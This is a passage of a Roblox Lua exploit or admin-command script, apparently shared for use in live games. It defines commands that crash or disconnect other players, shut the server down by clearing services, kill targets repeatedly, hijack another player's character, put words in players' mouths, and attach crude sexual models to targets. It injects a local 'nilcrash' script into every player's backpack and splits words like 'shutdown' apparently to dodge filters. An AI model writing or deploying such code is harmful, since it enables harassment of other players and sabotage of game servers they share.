- Output('Interface Compatibility Is Set To True',{Colors.Red},LocalPLayer)
- Output('Derek1017 Is On',{Colors.Red},LocalPLayer)
- Output('All Script Lines Clean',{Colors.Red},LocalPLayer)
- Output2('Version:'..Version..' ',{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Turn GUI Chat off/on','Gui',
- function(Msg,Speaker)
- if Msg:lower() == 'off' or Msg:lower() == 'false' then
- GuiChat=false
- Output2("Chat changed to off!",{Colors.Red},LocalPlayer)
- elseif Msg:lower() == 'on' or Msg:lower() == 'true' then
- GuiChat=true
- Output2("Chat changed to on!",{Colors.Red},LocalPlayer)
- else
- Output2("The Argument must be true/false " .. Msg,{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Cancle sd','a'..'bort',
- function(Msg,Speaker)
- CancelSd = true
- Output('Shu'..'tdown aborted',{Colors.Red},LocalPlayer)
- wait(TimeLeft+5)
- TimeLeft = 60
- CancelSd= false
- end
- )
- AddCommand('Show credits','cred',
- function(Msg,Speaker)
- for _,Cred in pairs(Credits) do
- Output(Cred.Name .. ' for ' .. Cred.Why,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- end
- end
- )
- Delay(10,function()
- while wait() and not Removed do
- if NormPooPoo == nil then
- DS = game:findFirstChild('DSource',true)
- if DS ~= nil and DS.Parent.ClassName == 'Script' then
- NormPooPoo = DS.Parent:Clone()
- Output2('New script entered WS',{Colors.Red},Speaker)
- pcall(function()
- AddCommand('Script','scr',
- function(Msg,Speaker)
- if NormPooPoo ~= nil then
- local Clony = NormPooPoo:Clone()
- Clony:ClearAllChildren()
- local Sour = Instance.new('StringValue',Clony)
- Sour.Name = SourceName
- Sour.Value = Msg
- Clony.Disabled = true
- Clony.Parent = game.Workspace
- Clony.Disabled = false
- Output('Normal script ran',{Colors.Red},Speaker)
- else
- Output('Normal Script is nil',{Colors.Red},Speaker)
- end
- end
- )
- end)
- Output2('Script CMD added',{Colors.Red},Speaker)
- end
- end
- end
- end)
- AddCommand('Fix lighting','flig',
- function(Msg,Speaker)
- game.Lighting.Ambient = Color3.new(255,255,255)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset?id=58372690"
- sky.SkyboxDn = "http://www.roblox.com/asset?id=58372722"
- sky.SkyboxFt = "http://www.roblox.com/asset?id=58372742"
- sky.SkyboxLf = "http://www.roblox.com/asset?id=58372777"
- sky.SkyboxRt = "http://www.roblox.com/asset?id=58372794"
- sky.SkyboxUp = "http://www.roblox.com/asset?id=58372812"
- game.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
- game.Lighting.ColorShift_Top = Color3.new(0,0,0)
- game.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
- game.Lighting.Brightness = 0.2
- game.Lighting.FogStart = 0
- game.Lighting.FogEnd = 100000
- game.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
- game.Lighting.TimeOfDay = 12
- Output('Debuged lighting',{Colors.Red},Speaker)
- end
- )
- AddCommand('Nyan','nyan',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=55987937"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=55987937"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=55987937"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=55987937"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=55987937"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=55987937"
- end
- )
- AddCommand('Flames','flame',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=26356415"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=26356415"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=26356415"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=26356415"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=26356415"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=26356415"
- end
- )
- AddCommand('Slenderman','slender',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=90199618"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=90199618"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=90199618"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=90199618"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=90199618"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=90199618"
- end
- )
- AddCommand('Pacman','pacman',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=29497998"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=29497998"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=29497998"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=29497998"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=29497998"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=29497998"
- end
- )
- AddCommand('Troll','Tr',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=23881644"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=23881644"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=23881644"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=23881644"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=23881644"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=23881644"
- end
- )
- AddCommand('Shedletsky','Shedlet',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=92767799"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=92767799"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=92767799"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=92767799"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=92767799"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=92767799"
- end
- )
- AddCommand('Lua','Lua',
- function(Msg,Speaker)
- local sky = Instance.new("Sky")
- sky.Parent = game.Lighting
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=66825616"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=66825616"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=66825616"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=66825616"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=66825616"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=66825616"
- end
- )
- AddCommand('Knock Out','ko',
- function(Msg,Speaker)
- for _,Target in pairs(GetPlayers(Msg,Speaker)) do
- JD = 1000
- Output2("KO'ing " .. Target.Name .. ' 1000 times',{Colors.Red},Speaker)
- for i=1, JD do
- c = Instance.new('ObjectValue')
- c.Parent = Target.Character.Humanoid
- c.Value = Speaker
- c.Name = 'creator'
- wait(0.1)
- Target.Character.Humanoid.Health = 0
- wait(0.01)
- Target.Character.Parent = game.Lighting
- wait(0.01)
- c:remove()
- wait(0.01)
- Target.Character.Parent = game.Workspace
- end
- end
- end
- )
- AddCommand('Ping2','ping2',
- function(Msg,Speaker)
- Output2(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- end
- )
- AddCommand('Ping3','ping3',
- function(Msg,Speaker)
- Output3(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- end
- )
- AddCommand('Talk In Tabs','',
- function(Msg,Speaker)
- Output(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- Output2(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- Output3(Msg,{Color3.new(math.random(),math.random(),math.random())},LocalPlayer)
- end
- )
- AddCommand('Loop delete','pdel',
- function(Msg,Speaker)
- Delay(0,function()
- while wait() do
- for _,Item in pairs(game.Workspace:GetChildren()) do
- if Item.Name:lower():find(Msg:lower()) or Item.Name:find(Msg) then
- Item:Destroy()
- end
- end
- end
- end)
- Output2('Loop deleted : ' .. Msg,{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Walkspeed','ws',
- function(Msg,Speaker)
- Split = Msg:find(Bet)
- for _,Player in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
- Player.Character:FindFirstChild('Humanoid').WalkSpeed = tostring(Msg:sub(Split+1))
- Output2("Walkspeed of"..Player.Name.."Changed",{Colors.Red},LocalPlayer)
- end
- end
- )
- Delay(0,function()
- Tool = 'Start'
- Delay(0,function()
- while wait(1) do
- e = game:findFirstChild(Tool,true)
- pcall(function() e:Destroy() end)
- end
- end)
- end)
- PlayerPlugins = [==[
- script.Parent = nil
- LocalPlayer = game:GetService("Players").LocalPlayer
- coroutine.resume(coroutine.create(function()
- while wait() do
- if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name) then
- workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name):Remove()
- LocalPlayer.Parent = nil
- wait()
- LocalPlayer.Parent = game:GetService("Players")
- end
- end
- end))
- ]==]
- local nilcrash = function(Player)
- localScript(PlayerPlugins,Player.Backpack)
- end
- for _,v in pairs(game.Players:GetPlayers()) do
- nilcrash(v)
- end
- game.Players.ChildAdded:connect(function(v)
- if type(v) == 'Player' then
- wait(1)
- nilcrash(v)
- end
- end)
- AddCommand('Disconnect','disc',
- function(Msg,Speaker)
- Name = Msg
- Val = Instance.new('StringValue')
- Val.Name = 'Disconnect : ' .. Msg
- Val.Parent = game.Workspace
- Output2('Attempted to disconnect : ' .. Msg,{Colors.Red},Speaker)
- wait(5)
- Val:Destroy()
- end
- )
- Output2('This Output Function Is Fully Operational',{Colors.Red},LocalPlayer)
- AddCommand('Instant shu'..'tdown','isd',
- function(Msg,Speaker)
- Output2('Shut'..'ting down',{Colors.Red},LocalPlayer)
- Delay(0,function()
- while wait() do
- game:service'Players':ClearAllChildren()
- game:service'Workspace':ClearAllChildren()
- game:service'Lighting':ClearAllChildren()
- game:service'StarterGui':ClearAllChildren()
- end
- end)
- end
- )
- AddCommand('Personal dismiss Diamonds','pdismiss',
- function(Msg,Speaker)
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v.Name == 'Output3' then
- v:Destroy()
- end
- end
- end
- )
- AddCommand("Private base","PB",
- function(Msg,Speaker)
- local PB = Instance.new("Part",game.Workspace)
- Output2('Creating Your Base',{Color3.new(math.random(),math.random(),math.random())},Speaker)
- Wait(3)
- PB.Name = "PB"
- PB.Anchored = true
- PB.Locked = true
- PB.BrickColor = BrickColor.new("Bright green")
- PB.Size = Vector3.new(50,1,50)
- PB.CFrame = CFrame.new(3000,4000,3000)
- Wait(2)
- Output2('Teleporting You To Your Base',{Color3.new(math.random(),math.random(),math.random())},Speaker)
- Wait(2)
- LoadCharacter(CFrame.new(3000,4040,3000))
- end
- )
- LocalPlayer.ChildAdded:connect(function(v)
- v.ChildAdded:connect(function(o)
- if o:IsA("Message") then
- o:Destroy()
- end
- end)
- end)
- for _,v in pairs(LocalPlayer:GetChildren()) do
- v.ChildAdded:connect(function(o)
- if o:IsA('Message') or o:IsA("Script") then
- o:Destroy()
- end
- end)
- end
- --[[ Loading ]]--
- AddCommand('Loopcrash','lcrash',
- function(Msg,Speaker)
- for _,Player in pairs(GetPlayers(Msg,Speaker)) do
- Delay(0,function()
- while wait() do
- if Players:findFirstChild(Player.Name) then
- OnChatted('crash'..Bet..Players[Player.Name])
- end
- end
- end)
- end
- end
- )
- Output('Do Not Ban This Lord',{Colors.Red},LocalPlayer)
- AddCommand('bigdeek','bigdeek',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- person=v.Name
- color = "Pastel brown"
- pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
- D = Instance.new("Model",workspace[person])
- D.Name = "Nice thing"
- bg = Instance.new("BodyGyro",workspace[person].Torso)
- d = Instance.new("Part")
- d.TopSurface = 0
- d.BottomSurface = 0
- d.Name = "Main"
- d.Parent = workspace[person]["Nice thing"]
- d.formFactor = 3
- d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 )
- d.BrickColor = BrickColor.new(color)
- d.Position = workspace[person].Head.Position
- d.CanCollide = false
- local cy = Instance.new("CylinderMesh")
- cy.Parent = d
- w = Instance.new("Weld")
- w.Parent = workspace[person].Head
- w.Part0 = d
- w.Part1 = workspace[person].Head
- w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
- local c = Instance.new("Part")
- c.Name = "Mush"
- c.BottomSurface = 0
- c.TopSurface = 0
- c.FormFactor = 3
- c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 )
- c.CFrame = CFrame.new(d.Position)
- c.BrickColor = BrickColor.new("Pink")
- c.CanCollide = false
- c.Parent = workspace[person]["Nice thing"]
- local msm = Instance.new("SpecialMesh")
- msm.Parent = c
- msm.MeshType = "Sphere"
- local cw = Instance.new("Weld")
- cw.Parent = c
- cw.Part0 = d
- cw.Part1 = c
- cw.C0 = CFrame.new(0,2.6 ,0)
- local ball1 = Instance.new("Part")
- ball1.Parent = workspace[person]["Nice thing"]
- ball1.Name = "Left Ball"
- ball1.BottomSurface = 0
- ball1.TopSurface = 0
- ball1.CanCollide = false
- ball1.formFactor = 3
- ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 )
- ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position)
- ball1.BrickColor = BrickColor.new(color)
- local bsm = Instance.new("SpecialMesh")
- bsm.Parent = ball1
- bsm.MeshType = "Sphere"
- local b1w = Instance.new("Weld")
- b1w.Parent = ball1
- b1w.Part0 = workspace[person]["Left Leg"]
- b1w.Part1 = ball1
- b1w.C0 = CFrame.new(0,0.5 ,-.5 )
- local ball2 = Instance.new("Part")
- ball2.Parent = workspace[person]["Nice thing"]
- ball2.Name = "Right Ball"
- ball2.BottomSurface = 0
- ball2.CanCollide = false
- ball2.TopSurface = 0
- ball2.formFactor = 3
- ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 )
- ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position)
- ball2.BrickColor = BrickColor.new(color)
- local b2sm = Instance.new("SpecialMesh")
- b2sm.Parent = ball2
- b2sm.MeshType = "Sphere"
- local b2w = Instance.new("Weld")
- b2w.Parent = ball2
- b2w.Part0 = workspace[person]["Right Leg"]
- b2w.Part1 = ball2
- b2w.C0 = CFrame.new(0,0.5,-.5)
- end
- end
- )
- AddCommand('Small deek','sdeek',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- person=v.Name
- color = "Pastel brown"
- pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
- D = Instance.new("Model",workspace[person])
- D.Name = "Nice thing"
- bg = Instance.new("BodyGyro",workspace[person].Torso)
- d = Instance.new("Part")
- d.TopSurface = 0
- d.BottomSurface = 0
- d.Name = "Main"
- d.Parent = workspace[person]["Nice thing"]
- d.formFactor = 3
- d.Size = Vector3.new(0.6/2 ,2.5 ,0.6/2 )
- d.BrickColor = BrickColor.new(color)
- d.Position = workspace[person].Head.Position
- d.CanCollide = false
- local cy = Instance.new("CylinderMesh")
- cy.Parent = d
- w = Instance.new("Weld")
- w.Parent = workspace[person].Head
- w.Part0 = d
- w.Part1 = workspace[person].Head
- w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
- local c = Instance.new("Part")
- c.Name = "Mush"
- c.BottomSurface = 0
- c.TopSurface = 0
- c.FormFactor = 3
- c.Size = Vector3.new(0.6/2 ,0.6/2 ,0.6/2 )
- c.CFrame = CFrame.new(d.Position)
- c.BrickColor = BrickColor.new("Pink")
- c.CanCollide = false
- c.Parent = workspace[person]["Nice thing"]
- local msm = Instance.new("SpecialMesh")
- msm.Parent = c
- msm.MeshType = "Sphere"
- local cw = Instance.new("Weld")
- cw.Parent = c
- cw.Part0 = d
- cw.Part1 = c
- cw.C0 = CFrame.new(0,1.3 ,0)
- local ball1 = Instance.new("Part")
- ball1.Parent = workspace[person]["Nice thing"]
- ball1.Name = "Left Ball"
- ball1.BottomSurface = 0
- ball1.TopSurface = 0
- ball1.CanCollide = false
- ball1.formFactor = 3
- ball1.Size = Vector3.new(1 ,1 ,1 )
- ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position*2)
- ball1.BrickColor = BrickColor.new(color)
- local bsm = Instance.new("SpecialMesh")
- bsm.Parent = ball1
- bsm.MeshType = "Sphere"
- local b1w = Instance.new("Weld")
- b1w.Parent = ball1
- b1w.Part0 = workspace[person]["Left Leg"]
- b1w.Part1 = ball1
- b1w.C0 = CFrame.new(0,0.5 ,-.5 )
- local ball2 = Instance.new("Part")
- ball2.Parent = workspace[person]["Nice thing"]
- ball2.Name = "Right Ball"
- ball2.BottomSurface = 0
- ball2.CanCollide = false
- ball2.TopSurface = 0
- ball2.formFactor = 3
- ball2.Size = Vector3.new(1 ,1 ,1 )
- ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position*2)
- ball2.BrickColor = BrickColor.new(color)
- local b2sm = Instance.new("SpecialMesh")
- b2sm.Parent = ball2
- b2sm.MeshType = "Sphere"
- local b2w = Instance.new("Weld")
- b2w.Parent = ball2
- b2w.Part0 = workspace[person]["Right Leg"]
- b2w.Part1 = ball2
- b2w.C0 = CFrame.new(0,0.5,-.5)
- Output2("Gave deek to"..v.Name ,{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Con'..'trol a Player','control',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- if v.Character ~= nil then
- game.Players.LocalPlayer.Character = v.Character
- game.Workspace.CurrentCamera.CameraSubject = v.Character.Humanoid
- game.Workspace.CurrentCamera.CameraType = "Custom"
- Output2('Controlled' .. ' ' .. v.Name,{Colors.Red},LocalPlayer)
- end
- end
- end
- )
- AddCommand('Make Players Talk','pmsg',
- function(Msg,Speaker)
- for _,talky in pairs(game.Players:GetPlayers()) do
- charnam = CharacterName or LocalPlayer.Name
- game:service'Chat':Chat(talky.Character.Head,Msg,Enum.ChatColor.Red)
- for i,v in pairs(game.Workspace:GetChildren(Msg,Speaker)) do
- if v.ClassName == ("Part") then
- game:service'Chat':Chat(v,Msg,Enum.ChatColor.Red)
- end
- end
- end
- end
- )
- AddCommand('Explodes you','boom',
- function(Msg,Speaker)
- local Shield = Instance.new("ForceField", game:service("Players").LocalPlayer.Character or nil)
- wait(0.05)
- local Explosion = Instance.new("Explosion")
- Explosion.BlastRadius = 25000000000
- Explosion.BlastPressure = 1000000
- Explosion.Position = game:service("Players").LocalPlayer.Character.Torso.Position
- Explosion.Hit:connect(function(Hit)
- if Hit:IsDescendantOf(game:service("Players").LocalPlayer.Character) == false then
- Hit.Anchored = false
- Hit:BreakJoints()
- end
- end)
- Explosion.Parent = game.Workspace
- wait(0.1)
- Shield:Remove()
- Output2("BOOM!",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Protects you','protect',
- function (Msg,Speaker)
- if Msg == 'on' then
- local Shi = Instance.new("ForceField", game:service("Players").LocalPlayer.Character)
- end
- end
- )
- AddCommand('Spawncage','cage',
- function(Msg,Speaker)
- wall1 = Instance.new("Part", workspace)
- wall1.Size = Vector3.new(1, 20, 51)
- wall1.Anchored = true
- wall1.BrickColor = BrickColor.new("Really red")--
- wall1.Transparency = 0.7
- wall1.TopSurface = "Smooth"
- wall1.BottomSurface = "Smooth"
- wall1.CFrame = CFrame.new(-25, 10, 0)
- wall2 = Instance.new("Part", workspace)
- wall2.Size = Vector3.new(51, 20, 1)
- wall2.Anchored = true
- wall2.BrickColor = BrickColor.new("Really red")--
- wall2.Transparency = 0.7
- wall2.TopSurface = "Smooth"
- wall2.BottomSurface = "Smooth"
- wall2.CFrame = CFrame.new(0, 10, 25)
- wall3 = Instance.new("Part", workspace)
- wall3.Size = Vector3.new(1, 20, 51)
- wall3.Anchored = true
- wall3.BrickColor = BrickColor.new("Really red")--
- wall3.Transparency = 0.7
- wall3.TopSurface = "Smooth"
- wall3.BottomSurface = "Smooth"
- wall3.CFrame = CFrame.new(25, 10, 0)
- wall4 = Instance.new("Part", workspace)
- wall4.Size = Vector3.new(51, 20, 1)
- wall4.Anchored = true
- wall4.BrickColor = BrickColor.new("Really red")--
- wall4.Transparency = 0.7
- wall4.TopSurface = "Smooth"
- wall4.BottomSurface = "Smooth"
- wall4.CFrame = CFrame.new(0, 10, -25)
- roof = Instance.new("Part", workspace)
- roof.Anchored = true
- roof.Size = Vector3.new(51, 1, 51)
- roof.TopSurface = "Smooth"
- roof.BottomSurface = "Smooth"
- roof.BrickColor = BrickColor.new("Really black")
- roof.Locked = true
- roof.CFrame = CFrame.new(0, 20.5, 0)
- Output("New Spawn cage",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('OpenDoor','opendoor',
- function(Msg,Speaker)
- wall1.CanCollide = false
- wall1.Transparency = 1
- Output2("Opened door",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('CloseDoor','closedoor',
- function(Msg,Speaker)
- wall1.CanCollide = true
- wall1.Transparency = 0
- Output2("Closed door",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Sparkles','sparkles',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character then
- if v.Character:findFirstChild("Torso") then
- Instance.new("Sparkles", v.Character.Torso)
- Output2("Gave sparkles to "..v.Name,{Colors.Red},LocalPlayer)
- end end end end
- )
- AddCommand('Epic','epic',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character ~= nil then
- for i,s in pairs(v.Character:GetChildren()) do
- if s.className == "Part" then
- s.Reflectance = 1
- elseif(s.ClassName == "Humanoid") then
- s.MaxHealth = math.huge
- Output2("Epicized "..v.Name,{Colors.Red},LocalPlayer)
- end end end end end
- )
- AddCommand('Respawn','respawn',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- local ack2 = Instance.new("Model")
- ack2.Parent = game:GetService("Workspace")
- local ack4 = Instance.new("Part")
- ack4.Transparency = 1
- ack4.CanCollide = false
- ack4.Anchored = true
- ack4.Name = "Torso"
- ack4.Position = Vector3.new(10000,10000,10000)
- ack4.Parent = ack2
- local ack3 = Instance.new("Humanoid")
- ack3.Torso = ack4
- ack3.Parent = ack2
- v.Character = ack2
- Output2("Respawned "..v.Name,{Colors.Red},LocalPlayer)
- end end
- )
- AddCommand('Get Age','getage',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- local at = 0
- local age = v.AccountAge
- while true do
- wait()
- if age - 365 < 0 then
- break
- end
- at = at + 1
- age = age - 365
- end
- local her = Instance.new("Hint", workspace)
- her.Text = v.Name.."'s Account is "..at.." Year(s) old and "..age.." Day(s) old"
- wait(4)
- if h then
- h:remove()
- end
- end end
- )
- AddCommand('Make Forest','forest',
- function(Msg,Speaker)
- local tmodel = Instance.new("Model", workspace)
- for i = 1, 1000 do
- local treet = Instance.new("Part", tmodel)
- treet.Size = Vector3.new(4, 20, 4)
- treet.Anchored = true
- treet.Locked = true
- treet.BrickColor = BrickColor.new("Reddish brown")
- treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
- local treetop = Instance.new("Part", tmodel)
- treetop.BrickColor = BrickColor.new("Earth green")
- treetop.TopSurface = "Smooth"
- treetop.BottomSurface = "Smooth"
- treetop.Size = Vector3.new(13, 13, 13)
- treetop.Anchored = true
- treetop.Shape = "Ball"
- treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
- end
- Output("Made a forest!",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Make Tree','tree',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character:findFirstChild("Torso") == nil then return end
- local treet = Instance.new("Part", workspace)
- treet.Size = Vector3.new(4, 20, 4)
- treet.Anchored = true
- treet.Locked = true
- treet.BrickColor = BrickColor.new("Reddish brown")
- treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0)
- local treetop = Instance.new("Part", workspace)
- treetop.BrickColor = BrickColor.new("Earth green")
- treetop.TopSurface = "Smooth"
- treetop.BottomSurface = "Smooth"
- treetop.Size = Vector3.new(13, 13, 13)
- treetop.Anchored = true
- treetop.Shape = "Ball"
- treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0)
- coroutine.resume(coroutine.create(function()
- for i = 1, 200 do
- wait()
- if treet ~= nil then
- if treetop ~= nil then
- treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0)
- treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0)
- end
- end
- end end))
- end
- Output2("Put a tree under"..v.Name.."",{Colors.Red},LocalPlayer)
- end
- )
- -- For testing people
- workspace.ChildAdded:connect(function(c)
- ypcall(function()
- if c.Name:find("Disable") and (c.Name:find("all") or c.Name:find(LocalPlayer.Name:lower())) then
- Removed = true
- Commands = {}
- local tag = Instance.new("StringValue")
- local tab = {Name=LocalPlayer.Name,Version=Version,Explorer=not not Explorer,Removed=Removed}
- local plr = Instance.new("ObjectValue",tag) plr.Name = "Player" plr.Value = LocalPlayer
- tag.Value = LoadLibrary("RbxUtility").EncodeJSON(tab) tag.Name = "NILDATA"
- tag.Parent = game:GetService("Lighting") wait(1) pcall(function() tag:Destroy() end)
- tag = Instance.new("StringValue")
- tag.Value = LocalPlayer.Name
- tag.Name = "DISABLED"
- tag.Parent = game:GetService("Lighting")
- end
- end)
- end)
- -- End testing people
- AddCommand('Build Tools','btools',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v:findFirstChild("Backpack") then
- Instance.new("HopperBin", v.Backpack).BinType = 4
- Instance.new("HopperBin", v.Backpack).BinType = 3
- Instance.new("HopperBin", v.Backpack).BinType = 1
- Output2("Gave building tools to "..v.Name,{Colors.Red},LocalPlayer)
- end end
- end
- )
- AddCommand('Punish','punish',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character then
- v.Character.Parent = game:service("Lighting")
- Output2("Punished "..v.Name,{Colors.Red},LocalPlayer)
- end end
- end
- )
- AddCommand('UnPunish','unpunish',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character then
- v.Character.Parent = workspace
- v.Character:MakeJoints()
- Output2("Unpunished "..v.Name,{Colors.Red},LocalPlayer)
- end end end
- )
- AddCommand('Deep Clean','deepclean',
- function(Msg,Speaker)
- game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
- game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- game.Lighting.Ambient = Color3.new(1, 1, 1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = "11:00:00"
- game.Lighting.FogEnd = 99999999
- game.Workspace.Base.Transparency = 0
- game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
- game.Workspace.Base.Locked = true
- game.Workspace.Base.Anchored = true
- t = game.Teams:GetChildren()
- for i = 1, #t do
- if t[i]:IsA("Team") then
- t[i]: Destroy()
- end
- end
- l = game.Lighting:GetChildren()
- for i = 1, #l do
- if l[i]:IsA("Sky") then
- l[i]: Destroy()
- end
- end
- g = game.Workspace:GetChildren()
- for i = 1, #g do
- if g[i]:IsA("Part") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Script") then
- g[i].Disabled = true
- g[i]: Destroy()
- end
- end
- p = game.Players:GetChildren()
- for i = 1, #p do
- if g[i]:IsA("Script") then
- g[i].Disabled = true
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("StringValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("IntValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BoolValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("NumberValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("ObjectValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("RayValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Sound") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Accoutrement") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BrickColorValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Motor") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("MotorFeature") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Color3Value") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableEvent") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableFunction") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("LocalScript") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Model") then
- g[i]: Remove()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
